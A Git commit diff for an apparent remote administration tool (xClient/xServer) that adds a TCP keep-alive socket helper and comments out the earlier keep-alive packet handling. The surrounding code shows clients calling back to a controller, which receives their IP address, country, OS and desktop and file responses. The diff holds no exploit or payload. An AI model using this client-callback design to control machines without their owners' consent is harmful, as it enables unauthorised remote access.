Merge pull request #46 from Abdullah2993/master

Added new KeepAlive method
This commit is contained in:
MaxXor 2015-04-06 19:58:09 +02:00
commit aacd1e0f33
9 changed files with 304 additions and 133 deletions

View File

@ -63,6 +63,7 @@
<Compile Include="Core\Helper\UnsafeStreamCodec.cs" />
<Compile Include="Core\Information\OSInfo.cs" />
<Compile Include="Core\Misc\JpgCompression.cs" />
<Compile Include="Core\Misc\KeepAlive.cs" />
<Compile Include="Core\Packets\ClientPackets\DesktopResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\DirectoryResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\DownloadFileResponse.cs" />

View File

@ -9,7 +9,7 @@ public static class Settings
{
#if DEBUG
public static string VERSION = "1.0.0.0d";
public static string HOST = "localhost";
public static string HOST = "192.168.1.11";
public static ushort PORT = 4782;
public static int RECONNECTDELAY = 5000;
public static string PASSWORD = "1234";

View File

@ -70,6 +70,9 @@ public enum ReceiveType
Payload
}
public const uint KEEP_ALIVE_TIME = 5000;
public const uint KEEP_ALIVE_INTERVAL = 5000;
public const int HEADER_SIZE = 4;
public const int MAX_PACKET_SIZE = (1024 * 1024) * 1; //1MB
private Socket _handle;
@ -102,7 +105,8 @@ public void Connect(string host, ushort port)
Initialize();
_handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
_handle.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);
//_handle.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);
Misc.KeepAliveEx.SetKeepAliveEx(_handle, KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME);
_handle.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.NoDelay, true);
_handle.NoDelay = true;
@ -112,7 +116,7 @@ public void Connect(string host, ushort port)
{
_handle.BeginReceive(this._buffer, 0, this._buffer.Length, SocketFlags.None, AsyncReceive, null);
SendKeepAlives();
//SendKeepAlives();
OnClientState(true);
}
}
@ -125,13 +129,13 @@ public void Connect(string host, ushort port)
private void Initialize()
{
_keepAlives = new List<KeepAlive>();
//_keepAlives = new List<KeepAlive>();
AddTypesToSerializer(typeof(IPacket), new Type[]
{
typeof(UnknownPacket),
typeof(KeepAlive),
typeof(KeepAliveResponse)
//typeof(KeepAlive),
//typeof(KeepAliveResponse)
});
}
@ -192,11 +196,11 @@ private void AsyncReceive(IAsyncResult result)
IPacket packet = Serializer.DeserializeWithLengthPrefix<IPacket>(deserialized,
PrefixStyle.Fixed32);
if (packet.GetType() == typeof (KeepAlive))
new KeepAliveResponse() {TimeSent = ((KeepAlive) packet).TimeSent}.Execute(this);
else if (packet.GetType() == typeof (KeepAliveResponse))
HandleKeepAlivePacket((KeepAliveResponse) packet, this);
else
//if (packet.GetType() == typeof (KeepAlive))
// new KeepAliveResponse() {TimeSent = ((KeepAlive) packet).TimeSent}.Execute(this);
//else if (packet.GetType() == typeof (KeepAliveResponse))
// HandleKeepAlivePacket((KeepAliveResponse) packet, this);
//else
OnClientRead(packet);
}
}
@ -334,52 +338,52 @@ public void AddTypesToSerializer(Type parent, params Type[] types)
AddTypeToSerializer(parent, type);
}
private void HandleKeepAlivePacket(KeepAliveResponse packet, Client client)
{
foreach (KeepAlive keepAlive in _keepAlives)
{
if (keepAlive.TimeSent == packet.TimeSent && keepAlive.Client == client)
{
_keepAlives.Remove(keepAlive);
break;
}
}
}
//private void HandleKeepAlivePacket(KeepAliveResponse packet, Client client)
//{
// foreach (KeepAlive keepAlive in _keepAlives)
// {
// if (keepAlive.TimeSent == packet.TimeSent && keepAlive.Client == client)
// {
// _keepAlives.Remove(keepAlive);
// break;
// }
// }
//}
private void KeepAliveCallback(object state)
{
KeepAlive keepAlive = (KeepAlive)state;
//private void KeepAliveCallback(object state)
//{
// KeepAlive keepAlive = (KeepAlive)state;
if (_keepAlives.Contains(keepAlive))
{
Disconnect();
}
}
// if (_keepAlives.Contains(keepAlive))
// {
// Disconnect();
// }
//}
private void SendKeepAlives()
{
new Thread(() =>
{
while (Connected)
{
try
{
KeepAlive keepAlive = new KeepAlive();
lock (_keepAlives)
{
_keepAlives.Add(keepAlive);
}
keepAlive.Execute(this);
Timer timer = new Timer(KeepAliveCallback, keepAlive, 25000, Timeout.Infinite);
}
catch
{
//private void SendKeepAlives()
//{
// new Thread(() =>
// {
// while (Connected)
// {
// try
// {
// KeepAlive keepAlive = new KeepAlive();
// lock (_keepAlives)
// {
// _keepAlives.Add(keepAlive);
// }
// keepAlive.Execute(this);
// Timer timer = new Timer(KeepAliveCallback, keepAlive, 25000, Timeout.Infinite);
// }
// catch
// {
}
Thread.Sleep(15000);
}
// }
// Thread.Sleep(15000);
// }
}) { IsBackground = true }.Start();
}
// }) { IsBackground = true }.Start();
//}
}
}

View File

@ -0,0 +1,79 @@
using System;
using System.IO;
using System.Net.Sockets;
using System.Runtime.InteropServices;
namespace xClient.Core.Misc
{
/// <summary>
/// Socket Extension for KeepAlive
/// </summary>
/// <Author>Abdullah Saleem</Author>
/// <Email>a.saleem2993@gmail.com</Email>
public static class KeepAliveEx
{
/// <summary>
/// Sets the Keep-Alive values for the current tcp connection
/// </summary>
/// <param name="socket">Current socket instance</param>
/// <param name="keepAliveInterval">Specifies how often TCP repeats keep-alive transmissions when no response is received. TCP sends keep-alive transmissions to verify that idle connections are still active. This prevents TCP from inadvertently disconnecting active lines.</param>
/// <param name="keepAliveTime">Specifies how often TCP sends keep-alive transmissions. TCP sends keep-alive transmissions to verify that an idle connection is still active. This entry is used when the remote system is responding to TCP. Otherwise, the interval between transmissions is determined by the value of the keepAliveInterval entry.</param>
public static void SetKeepAliveEx( /*this */ Socket socket, uint keepAliveInterval, uint keepAliveTime)
//extension removed, Missing System.Core.dll
{
var keepAlive = new TcpKeepAlive
{
onoff = 1,
keepaliveinterval = keepAliveInterval,
keepalivetime = keepAliveTime
};
int size = Marshal.SizeOf(keepAlive);
IntPtr keepAlivePtr = Marshal.AllocHGlobal(size);
Marshal.StructureToPtr(keepAlive, keepAlivePtr, true);
var buffer = new byte[size];
Marshal.Copy(keepAlivePtr, buffer, 0, size);
Marshal.FreeHGlobal(keepAlivePtr);
socket.IOControl(IOControlCode.KeepAliveValues, buffer, null);
}
/// <summary>
/// Sets the Keep-Alive values for the current tcp connection
/// </summary>
/// <param name="socket">Current socket instance</param>
/// <param name="keepAliveInterval">Specifies how often TCP repeats keep-alive transmissions when no response is received. TCP sends keep-alive transmissions to verify that idle connections are still active. This prevents TCP from inadvertently disconnecting active lines.</param>
/// <param name="keepAliveTime">Specifies how often TCP sends keep-alive transmissions. TCP sends keep-alive transmissions to verify that an idle connection is still active. This entry is used when the remote system is responding to TCP. Otherwise, the interval between transmissions is determined by the value of the keepAliveInterval entry.</param>
public static void SetKeepAlive(Socket socket, uint keepAliveInterval, uint keepAliveTime)
{
// //Removed, LINQ
// //byte[] dataWord =
// // (new byte[] { 0x01, 0x00, 0x00, 0x00 }).Concat(BitConverter.GetBytes(keepAliveTime))
// // .Concat(BitConverter.GetBytes(keepAliveInterval))
// // .ToArray();
byte[] dataWord;
using (var memoryStream = new MemoryStream())
{
using (var binaryWriter = new BinaryWriter(memoryStream))
{
binaryWriter.Write(new byte[] {0x01, 0x00, 0x00, 0x00});
binaryWriter.Write(keepAliveTime);
binaryWriter.Write(keepAliveInterval);
}
dataWord = memoryStream.ToArray();
}
socket.IOControl(IOControlCode.KeepAliveValues, dataWord, null);
}
/// <summary>
/// A structure used by SetKeepAliveEx(obsolete) Method
/// </summary>
[StructLayout(LayoutKind.Sequential)]
internal struct TcpKeepAlive
{
internal uint onoff;
internal uint keepalivetime;
internal uint keepaliveinterval;
};
}
}

View File

@ -58,6 +58,9 @@ public enum ReceiveType
Payload
}
public const uint KEEP_ALIVE_TIME = 1000;
public const uint KEEP_ALIVE_INTERVAL = 1000;
public const int HEADER_SIZE = 4;
public const int MAX_PACKET_SIZE = (1024 * 1024) * 1; //1MB
private Socket _handle;
@ -94,7 +97,10 @@ internal Client(Server server, Socket sock, Type[] packets)
_handle = sock;
_handle.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);
//_handle.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);
Misc.KeepAliveEx.SetKeepAliveEx(_handle,KEEP_ALIVE_INTERVAL,KEEP_ALIVE_TIME);
_handle.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.NoDelay, true);
_handle.NoDelay = true;
@ -113,8 +119,8 @@ private void Initialize()
AddTypesToSerializer(typeof(IPacket), new Type[]
{
typeof(UnknownPacket),
typeof(KeepAlive),
typeof(KeepAliveResponse)
//typeof(KeepAlive),
//typeof(KeepAliveResponse)
});
}
@ -177,11 +183,11 @@ private void AsyncReceive(IAsyncResult result)
IPacket packet = Serializer.DeserializeWithLengthPrefix<IPacket>(deserialized,
PrefixStyle.Fixed32);
if (packet.GetType() == typeof (KeepAlive))
new KeepAliveResponse() {TimeSent = ((KeepAlive) packet).TimeSent}.Execute(this);
else if (packet.GetType() == typeof (KeepAliveResponse))
_parentServer.HandleKeepAlivePacket((KeepAliveResponse) packet, this); // HERE
else
//if (packet.GetType() == typeof (KeepAlive))
// new KeepAliveResponse() {TimeSent = ((KeepAlive) packet).TimeSent}.Execute(this);
//else if (packet.GetType() == typeof (KeepAliveResponse))
// _parentServer.HandleKeepAlivePacket((KeepAliveResponse) packet, this); // HERE
//else
OnClientRead(packet);
}
}

View File

@ -1,6 +1,7 @@
using System;
using System.Drawing;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
using xServer.Core.Helper;
@ -67,27 +68,27 @@ private static void ShowPopup(Client c)
FrmMain.Instance.nIcon.ShowBalloonTip(30, string.Format("Client connected from {0}!", c.Value.Country), string.Format("IP Address: {0}\nOperating System: {1}", c.EndPoint.Address.ToString(), c.Value.OperatingSystem), ToolTipIcon.Info);
}
public static void HandleStatus(Client client, Status packet)
{
new Thread(() =>
{
foreach (ListViewItem lvi in FrmMain.Instance.lstClients.Items)
{
Client c = (Client)lvi.Tag;
if (client == c)
{
FrmMain.Instance.Invoke((MethodInvoker)delegate
{
lvi.SubItems[3].Text = packet.Message;
});
break;
}
}
public static void HandleStatus(Client client, Status packet)
{
new Thread(() =>
{
FrmMain.Instance.Invoke((MethodInvoker) delegate
{
foreach (ListViewItem lvi in FrmMain.Instance.lstClients.Items)
{
Client c = (Client) lvi.Tag;
if (client == c)
{
lvi.SubItems[3].Text = packet.Message;
break;
}
}
});
}).Start();
}
}).Start();
}
public static void HandleUserStatus(Client client, UserStatus packet)
public static void HandleUserStatus(Client client, UserStatus packet)
{
new Thread(() =>
{

View File

@ -0,0 +1,79 @@
using System;
using System.IO;
using System.Net.Sockets;
using System.Runtime.InteropServices;
namespace xServer.Core.Misc
{
/// <summary>
/// Socket Extension for KeepAlive
/// </summary>
/// <Author>Abdullah Saleem</Author>
/// <Email>a.saleem2993@gmail.com</Email>
public static class KeepAliveEx
{
/// <summary>
/// Sets the Keep-Alive values for the current tcp connection
/// </summary>
/// <param name="socket">Current socket instance</param>
/// <param name="keepAliveInterval">Specifies how often TCP repeats keep-alive transmissions when no response is received. TCP sends keep-alive transmissions to verify that idle connections are still active. This prevents TCP from inadvertently disconnecting active lines.</param>
/// <param name="keepAliveTime">Specifies how often TCP sends keep-alive transmissions. TCP sends keep-alive transmissions to verify that an idle connection is still active. This entry is used when the remote system is responding to TCP. Otherwise, the interval between transmissions is determined by the value of the keepAliveInterval entry.</param>
public static void SetKeepAliveEx( /*this */ Socket socket, uint keepAliveInterval, uint keepAliveTime)
//extension removed, Missing System.Core.dll
{
var keepAlive = new TcpKeepAlive
{
onoff = 1,
keepaliveinterval = keepAliveInterval,
keepalivetime = keepAliveTime
};
int size = Marshal.SizeOf(keepAlive);
IntPtr keepAlivePtr = Marshal.AllocHGlobal(size);
Marshal.StructureToPtr(keepAlive, keepAlivePtr, true);
var buffer = new byte[size];
Marshal.Copy(keepAlivePtr, buffer, 0, size);
Marshal.FreeHGlobal(keepAlivePtr);
socket.IOControl(IOControlCode.KeepAliveValues, buffer, null);
}
/// <summary>
/// Sets the Keep-Alive values for the current tcp connection
/// </summary>
/// <param name="socket">Current socket instance</param>
/// <param name="keepAliveInterval">Specifies how often TCP repeats keep-alive transmissions when no response is received. TCP sends keep-alive transmissions to verify that idle connections are still active. This prevents TCP from inadvertently disconnecting active lines.</param>
/// <param name="keepAliveTime">Specifies how often TCP sends keep-alive transmissions. TCP sends keep-alive transmissions to verify that an idle connection is still active. This entry is used when the remote system is responding to TCP. Otherwise, the interval between transmissions is determined by the value of the keepAliveInterval entry.</param>
public static void SetKeepAlive(Socket socket, uint keepAliveInterval, uint keepAliveTime)
{
// //Removed, LINQ
// //byte[] dataWord =
// // (new byte[] { 0x01, 0x00, 0x00, 0x00 }).Concat(BitConverter.GetBytes(keepAliveTime))
// // .Concat(BitConverter.GetBytes(keepAliveInterval))
// // .ToArray();
byte[] dataWord;
using (var memoryStream = new MemoryStream())
{
using (var binaryWriter = new BinaryWriter(memoryStream))
{
binaryWriter.Write(new byte[] { 0x01, 0x00, 0x00, 0x00 });
binaryWriter.Write(keepAliveTime);
binaryWriter.Write(keepAliveInterval);
}
dataWord = memoryStream.ToArray();
}
socket.IOControl(IOControlCode.KeepAliveValues, dataWord, null);
}
/// <summary>
/// A structure used by SetKeepAliveEx(obsolete) Method
/// </summary>
[StructLayout(LayoutKind.Sequential)]
internal struct TcpKeepAlive
{
internal uint onoff;
internal uint keepalivetime;
internal uint keepaliveinterval;
};
}
}

View File

@ -66,7 +66,7 @@ private void OnClientWrite(Client c, IPacket packet, long length, byte[] rawData
public bool Listening { get; private set; }
private List<KeepAlive> _keepAlives;
// private List<KeepAlive> _keepAlives;
private List<Client> _clients;
public Client[] Clients
@ -94,7 +94,7 @@ public void Listen(ushort port)
{
if (!Listening)
{
_keepAlives = new List<KeepAlive>();
// _keepAlives = new List<KeepAlive>();
_clients = new List<Client>();
@ -111,7 +111,7 @@ public void Listen(ushort port)
OnServerState(true);
SendKeepAlives();
// SendKeepAlives();
if (!_handle.AcceptAsync(_item))
Process(null, _item);
@ -173,60 +173,60 @@ private void Process(object s, SocketAsyncEventArgs e)
}
}
private void SendKeepAlives()
{
new Thread(() =>
{
while (true)
{
try
{
foreach (Client client in Clients)
{
KeepAlive keepAlive = new KeepAlive();
lock (_keepAlives)
{
_keepAlives.Add(keepAlive);
}
keepAlive.Execute(client);
Timer timer = new Timer(KeepAliveCallback, keepAlive, 15000, Timeout.Infinite);
}
}
catch
{
//private void SendKeepAlives()
//{
// new Thread(() =>
// {
// while (true)
// {
// try
// {
// foreach (Client client in Clients)
// {
// KeepAlive keepAlive = new KeepAlive();
// lock (_keepAlives)
// {
// _keepAlives.Add(keepAlive);
// }
// keepAlive.Execute(client);
// Timer timer = new Timer(KeepAliveCallback, keepAlive, 15000, Timeout.Infinite);
// }
// }
// catch
// {
}
Thread.Sleep(10000);
}
// }
// Thread.Sleep(10000);
// }
}) { IsBackground = true }.Start();
}
// }) { IsBackground = true }.Start();
//}
private void KeepAliveCallback(object state)
{
KeepAlive keepAlive = (KeepAlive)state;
//private void KeepAliveCallback(object state)
//{
// KeepAlive keepAlive = (KeepAlive)state;
if (_keepAlives != null)
{
if (_keepAlives.Contains(keepAlive))
{
keepAlive.Client.Disconnect();
_keepAlives.Remove(keepAlive);
}
}
}
// if (_keepAlives != null)
// {
// if (_keepAlives.Contains(keepAlive))
// {
// keepAlive.Client.Disconnect();
// _keepAlives.Remove(keepAlive);
// }
// }
//}
internal void HandleKeepAlivePacket(KeepAliveResponse packet, Client client)
{
foreach (KeepAlive keepAlive in _keepAlives)
{
if (keepAlive.TimeSent == packet.TimeSent && keepAlive.Client == client)
{
_keepAlives.Remove(keepAlive);
break;
}
}
}
//internal void HandleKeepAlivePacket(KeepAliveResponse packet, Client client)
//{
// foreach (KeepAlive keepAlive in _keepAlives)
// {
// if (keepAlive.TimeSent == packet.TimeSent && keepAlive.Client == client)
// {
// _keepAlives.Remove(keepAlive);
// break;
// }
// }
//}
public void Disconnect()
{
@ -252,7 +252,7 @@ public void Disconnect()
}
}
_keepAlives = null;
// _keepAlives = null;
Listening = false;
OnServerState(false);

View File

@ -384,6 +384,7 @@
<DependentUpon>Resources.resx</DependentUpon>
<DesignTime>True</DesignTime>
</Compile>
<Compile Include="Core\Misc\KeepAlive.cs" />
<None Include="Properties\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
<LastGenOutput>Settings.Designer.cs</LastGenOutput>